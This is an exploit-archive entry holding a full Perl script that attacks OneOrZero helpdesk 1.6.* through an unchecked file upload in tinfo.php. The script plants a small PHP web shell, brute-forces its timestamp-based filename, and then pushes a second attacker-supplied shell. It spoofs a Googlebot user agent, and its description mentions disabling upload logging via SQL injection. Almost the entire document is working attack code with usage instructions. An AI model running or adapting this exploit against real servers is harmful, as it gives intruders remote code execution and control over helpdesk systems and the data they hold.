Author

Ams

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-4507

Category

web applications

Date add

19-12-2008

Platform

unsorted

=====================================================
OneOrZero helpdesk 1.6.*. Remote Shell Upload Exploit
=====================================================


#!/usr/bin/perl
=about

 OneOrZero 1.6.* Perl exploit

 AUTHOR 
	discovered & written by Ams
	ax330d 

 VULN. DESCRIPTION:
	In 'tinfo.php' script there are function
	named uploadAttachment() through which
	we are able to upload files.
	It does not checks what the file
	is uploaded.

 EXPLOIT WORK:
	First of all it uploads small shell,
	then, due to unknown shell name,
	it bruteforces it.
	(Uploaded shell name is concatenation 
	of original filename, 
	unix timestamp and substracted
	microseconds from time.)
	Then it uploads new shell through 
	small shell.
	(Script saves to DB what has been uploaded,
	but if magic_quotes_gpc=off exploit
	will disable this logging via SQl-inj.)

 REQUIREMENTS:
	Upload must be allowed.
 
 PS:
	With register_globals=on there are even more
	vulnerabilities, starting from LFI till 
	remote code execution.

=cut

use strict;
use warnings;

use LWP::UserAgent;
use HTTP::Request::Common;

$| = 1;
&banner;

my $expl_url = shift or &usage;
my $tshell2  = shift;
&usage unless -f $tshell2;

my $tshell = q(<?php move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name'])?print('ok1'):0;?>);
my $spider = LWP::UserAgent->new;

$spider->timeout(9);
$spider->max_redirect(0);
$spider->agent('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');

exploit($expl_url);

sub exploit {
    
    $_ = shift;
    
	my($prot, $host, $path, ) = m{(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?};
    print "\n\tExploiting: $prot://$host$path\n";
	
    my $req
        = POST "$prot://$host$path/tinfo.php?id=999999",
        Content_Type => 'form-data',
        Content      => [send_mail    => 1,
						 SelectedFile => [ undef, 'by441e.php', 'Content_Type' => '\' text', 'Content' => $tshell ]
						];
	
	my $start_time = time();
	
    my $res = $spider->request($req);
    if (!$res->is_success) {
        print "\tFailure...\n" . $res->status_line . "\n";
        return 0;
    }
    
	if ($res->content !~ /by441e\.php/) {
		print "\tFailure...\n";
		return 0;
	} else {
		print "\n\tTest shell uploaded";
	}

    my $finish_time = time();
    
    print "\n\tStarting bruteforce (start:${start_time}000 finish:${start_time}999)\n";
    
    for my $sec ($start_time .. $finish_time) {
        for my $micro ('000' .. '999') {
			
            print "\t$prot://$host$path/attachments/$sec${micro}_by441e.php\r";
            $res = $spider->request(HEAD "$prot://$host$path/attachments/$sec${micro}_by441e.php");
			
            if ($res->status_line =~ /200/) {
                print "\n\tFound one of shells...";
				if (reload("$prot://$host$path/attachments/$sec${micro}_by441e.php")) {
					print "\tShell: $prot://$host$path/attachments/sha.php\n";
				}
                return;
            }
        }
    }
	
    print "\n\tCould not find shell...\n";
}

sub reload {
	
	my $addr = shift;
    my $req
        = POST $addr,
        Content_Type => 'form-data',
        Content      => [ f => [ $tshell2, 'sha.php']];
	my $res = $spider->request($req);
	
	if ($res->content =~ /ok1/) {
		print "new shell uploaded!\n";
		return 1;
	} else {
		print "could not upload new shell.\n";
		return 0;
	}
}

sub usage {
    
	print "
	Provide url and shell what to upload.
	Usage:
		perl $0 http://example.com localshell.php

";
	exit;
}

sub banner {
    
    print "
	~~~~~~~~~~~~~~~~~~~~~~~~~~~~
	  OneOrZero 1.6.* exploit
	~~~~~~~~~~~~~~~~~~~~~~~~~~~~
	";
}



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